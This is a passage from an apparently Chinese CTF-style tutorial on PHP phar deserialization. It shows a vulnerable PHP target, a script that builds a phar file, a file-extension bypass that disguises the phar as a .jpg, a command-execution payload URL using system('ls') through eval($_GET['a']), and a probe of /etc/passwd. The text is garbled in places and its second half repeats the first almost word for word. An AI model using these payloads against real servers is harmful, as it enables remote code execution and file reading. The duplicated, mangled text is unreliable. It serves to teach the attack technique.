执行eval(Sthis->output);}
而反序列化后output=‘eval($_GET[“a”]);’;
a的值变得可控
/index.php/?filename=phar://test.phar&a=system(‘ls’);
2.使用条件
phar文件能上传到服务器端(可以通过修改文件后缀名上传,如jpg,png);
要有可用反序列化魔术方法作为跳板:
要有文件操作函数,如file_exists(),fopen(),file_get_contents()
文件操作函数参数可控,且:、/、phar等特殊字符没有被过滤
3.实例
目标:echo $flag,构造下面php代码的phar文件:
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>
反序列化TestObject()触发__destruck()
执行echo
f
l
a
g
‘
flag `
flag‘_POST`提交file赋值Sfilename
if语句isset判断$filename内容,生成MD5哈希值。
upload.php用来做提交。
验证file=/etc/passwd
post提交file=/etc/passwd,返回哈希值:
dcacfc82a7c4c7b26a5d0f5f8a05b228
phar文件能上传到服务器端;/upload.php
要有可用反序列化魔术方法作为跳板:__destruct()
要有文件操作函数,md5_file
文件操作函数参数可控,$_POST[‘file’]
生成一个phar文件;在mate-data里放置一个包含TestObject()的序列化字符串
md5_file执行phar伪协议,触发反序列化
反序列化TestObject()触发__destruck执行echo $flag。
构造phar。php文件:
<?php
highlight_file(__FILE__);
class Testobj
{
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
由于生成后的是test.phar文件,upload.php禁止上传phar文件,所以我们将其后缀名改为jpg文件后上传。
post提交file=phar://upload/test.jpg,返回哈希值:
执行phar伪协议触发反序列化,反序列化TestObject()触发__destruck()
执行echo $flag
val($_GET[“a”]);';
a的值变得可控
/index.php/?filename=phar://test.phar&a=system(‘ls’);
2.使用条件
phar文件能上传到服务器端(可以通过修改文件后缀名上传,如jpg,png);
要有可用反序列化魔术方法作为跳板:
要有文件操作函数,如file_exists(),fopen(),file_get_contents()
文件操作函数参数可控,且:、/、phar等特殊字符没有被过滤
3.实例
目标:echo $flag,构造下面php代码的phar文件:
<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>
反序列化TestObject()触发__destruck()
执行echo
f
l
a
g
‘
flag `
flag‘_POST`提交file赋值Sfilename
if语句isset判断$filename内容,生成MD5哈希值。
upload.php用来做提交。
验证file=/etc/passwd
post提交file=/etc/passwd,返回哈希值:
dcacfc82a7c4c7b26a5d0f5f8a05b228
phar文件能上传到服务器端;/upload.php
要有可用反序列化魔术方法作为跳板:__destruct()
要有文件操作函数,md5_file
文件操作函数参数可控,$_POST[‘file’]
生成一个phar文件;在mate-data里放置一个包含TestObject()的序列化字符串
md5_file执行phar伪协议,触发反序列化
反序列化TestObject()触发__destruck执行echo $flag。
构造phar。php文件:
<?php
highlight_file(__FILE__);
class Testobj
{
}
@unlink('test.phar'); //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering(); //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //写入stub
$o=new Testobj();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test"); //添加要压缩的文件
$phar->stopBuffering();
?>
由于生成后的是test.phar文件,upload.php禁止上传phar文件,所以我们将其后缀名改为jpg文件后上传。
post提交file=phar://upload/test.jpg,返回哈希值:
执行phar伪协议触发反序列化,反序列化TestObject()触发__destruck()
执行echo $flag